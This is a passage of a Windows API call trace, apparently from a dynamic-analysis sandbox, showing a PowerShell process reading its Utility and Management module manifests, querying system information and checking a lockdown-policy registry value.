lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.604] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0116.604] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0116.604] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0116.605] FindClose (in: hFindFile=0x4fe5b8 | out: hFindFile=0x4fe5b8) returned 1 [0116.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eec1c) returned 1 [0116.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eee7c) returned 1 [0116.605] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0116.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0116.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0116.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0116.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0116.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eec24) returned 1 [0116.605] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x28c4710 | out: lpFileInformation=0x28c4710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0116.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eec20) returned 1 [0116.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0116.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0116.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eed8c) returned 1 [0116.606] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f8 [0116.606] GetFileType (hFile=0x3f8) returned 0x1 [0116.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eed88) returned 1 [0116.606] GetFileType (hFile=0x3f8) returned 0x1 [0116.606] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59eedc8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59eedc8*=0) returned 0x0 [0116.606] ReadFile (in: hFile=0x3f8, lpBuffer=0x28c5540, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59eedf4, lpOverlapped=0x0 | out: lpBuffer=0x28c5540*, lpNumberOfBytesRead=0x59eedf4*=0x982, lpOverlapped=0x0) returned 1 [0116.607] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59eedc8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59eedc8*=0) returned 0x982 [0116.607] ReadFile (in: hFile=0x3f8, lpBuffer=0x28c4a56, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x59eedf4, lpOverlapped=0x0 | out: lpBuffer=0x28c4a56*, lpNumberOfBytesRead=0x59eedf4*=0x0, lpOverlapped=0x0) returned 1 [0116.607] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59eedc8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59eedc8*=0) returned 0x982 [0116.607] ReadFile (in: hFile=0x3f8, lpBuffer=0x28c5540, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59eedf4, lpOverlapped=0x0 | out: lpBuffer=0x28c5540*, lpNumberOfBytesRead=0x59eedf4*=0x0, lpOverlapped=0x0) returned 1 [0116.607] CloseHandle (hObject=0x3f8) returned 1 [0116.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eeeac) returned 1 [0116.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0116.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0116.609] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\*", lpFindFileData=0x59eec5c | out: lpFindFileData=0x59eec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4fe5b8 [0116.609] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.609] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 1 [0116.609] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 0 [0116.609] FindClose (in: hFindFile=0x4fe5b8 | out: hFindFile=0x4fe5b8) returned 1 [0116.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eec1c) returned 1 [0116.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eee7c) returned 1 [0116.609] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0116.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eec24) returned 1 [0116.609] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x28d5e7c | out: lpFileInformation=0x28d5e7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0116.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eec20) returned 1 [0116.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eed8c) returned 1 [0116.610] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f8 [0116.610] GetFileType (hFile=0x3f8) returned 0x1 [0116.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eed88) returned 1 [0116.610] GetFileType (hFile=0x3f8) returned 0x1 [0116.611] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59eedc8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59eedc8*=0) returned 0x0 [0116.611] ReadFile (in: hFile=0x3f8, lpBuffer=0x28d6cbc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59eedf4, lpOverlapped=0x0 | out: lpBuffer=0x28d6cbc*, lpNumberOfBytesRead=0x59eedf4*=0x9e9, lpOverlapped=0x0) returned 1 [0116.611] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59eedc8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59eedc8*=0) returned 0x9e9 [0116.611] ReadFile (in: hFile=0x3f8, lpBuffer=0x28d6239, nNumberOfBytesToRead=0x217, lpNumberOfBytesRead=0x59eedf4, lpOverlapped=0x0 | out: lpBuffer=0x28d6239*, lpNumberOfBytesRead=0x59eedf4*=0x0, lpOverlapped=0x0) returned 1 [0116.611] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59eedc8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59eedc8*=0) returned 0x9e9 [0116.611] ReadFile (in: hFile=0x3f8, lpBuffer=0x28d6cbc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59eedf4, lpOverlapped=0x0 | out: lpBuffer=0x28d6cbc*, lpNumberOfBytesRead=0x59eedf4*=0x0, lpOverlapped=0x0) returned 1 [0116.611] CloseHandle (hObject=0x3f8) returned 1 [0116.614] CoCreateGuid (in: pguid=0x59eeef4 | out: pguid=0x59eeef4*(Data1=0x6e4257f7, Data2=0x99a9, Data3=0x4279, Data4=([0]=0xbd, [1]=0x2b, [2]=0xe4, [3]=0xbb, [4]=0xbe, [5]=0x3a, [6]=0x88, [7]=0xac))) returned 0x0 [0116.614] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3f8 [0116.614] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3c0 [0116.677] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x404 [0116.678] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x408 [0116.678] SetEvent (hEvent=0x408) returned 1 [0116.678] SetEvent (hEvent=0x3f8) returned 1 [0116.678] SetEvent (hEvent=0x3c0) returned 1 [0116.678] SetEvent (hEvent=0x404) returned 1 [0116.678] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x40c [0116.678] SetThreadUILanguage (LangId=0x0) returned 0x409 [0116.722] EtwEventActivityIdControl () returned 0x0 [0116.722] EtwEventActivityIdControl () returned 0x0 [0116.722] EtwEventActivityIdControl () returned 0x0 [0116.860] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0116.861] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.861] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee720) returned 1 [0116.861] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59ee9e4 | out: lpFileInformation=0x59ee9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0116.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee71c) returned 1 [0116.862] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0116.862] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.862] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.862] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x59ee628, Length=0x20, ResultLength=0x59ee698 | out: SystemInformation=0x59ee628, ResultLength=0x59ee698*=0x0) returned 0xc0000003 [0116.862] GetSystemInfo (in: lpSystemInfo=0x59ee6a4 | out: lpSystemInfo=0x59ee6a4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0116.863] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ee634 | out: phkResult=0x59ee634*=0x410) returned 0x0 [0116.863] RegQueryValueExW (in: hKey=0x410, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x59ee650, lpData=0x0, lpcbData=0x59ee64c*=0x0 | out: lpType=0x59ee650*=0x0, lpData=0x0, lpcbData=0x59ee64c*=0x0) returned 0x2 [0116.863] RegCloseKey (hKey=0x410) returned 0x0 [0116.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee5ac) returned 1 [0116.864] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x410 [0116.864] GetFileType (hFile=0x410) returned 0x1 [0116.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee5a8) returned 1 [0116.864] GetFileType (hFile=0x410) returned 0x1 [0116.864] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ee5e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ee5e8*=0) returned 0x0 [0116.865] ReadFile (in: hFile=0x410, lpBuffer=0x290ac7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ee614, lpOverlapped=0x0 | out: lpBuffer=0x290ac7c*, lpNumberOfBytesRead=0x59ee614*=0x9e9, lpOverlapped=0x0) returned 1 [0116.865] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ee5e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ee5e8*=0) returned 0x9e9 [0116.865] ReadFile (in: hFile=0x410, lpBuffer=0x290a1f9, nNumberOfBytesToRead=0x217, lpNumberOfBytesRead=0x59ee614, lpOverlapped=0x0 | out: lpBuffer=0x290a1f9*, lpNumberOfBytesRead=0x59ee614*=0x0, lpOverlapped=0x0) returned 1 [0116.865] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ee5e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ee5e8*=0) returned 0x9e9 [0116.865] ReadFile (in: hFile=0x410, lpBuffer=0x290ac7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ee614, lpOverlapped=0x0 | out: lpBuffer=0x290ac7c*, lpNumberOfBytesRead=0x59ee614*=0x0, lpOverlapped=0x0) returned 1 [0116.866] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x59ee57c, Length=0x20, ResultLength=0x59ee5ec | out: SystemInformation=0x59ee57c, ResultLength=0x59ee5ec*=0x0) returned 0xc0000003 [0116.866] GetSystemInfo (in: lpSystemInfo=0x59ee5f8 | out: lpSystemInfo=0x59ee5f8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0116.866] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ee588 | out: phkResult=0x59ee588*=0x414) returned 0x0 [0116.867] RegQueryValueExW (in: hKey=0x414, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x59ee5a4, lpData=0x0, lpcbData=0x59ee5a0*=0x0 | out: lpType=0x59ee5a4*=0x0, lpData=0x0, lpcbData=0x59ee5a0*=0x0) returned 0x2 [0116.867] RegCloseKey (hKey=0x414) returned 0x0 [0116.867] CloseHandle (hObject=0x410) returned 1 [0116.868] CoCreateGuid (in: pguid=0x59ee678 | out: pguid=0x59ee678*(Data1=0x44282087, Data2=0xe555, Data3=0x423c, Data4=([0]=0xb9, [1]=0x65, [2]=0x16, [3]=0x46, [4]=0x11, [5]=0x77, [6]=0x5, [7]=0x4b))) returned 0x0 [0116.868] QueryPerformanceCounter (in: lpPerformanceCount=0x59ee3d8 | out: lpPerformanceCount=0x59ee3d8*=1175784546433) returned 1 [0116.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.868] GetFullPathNameW 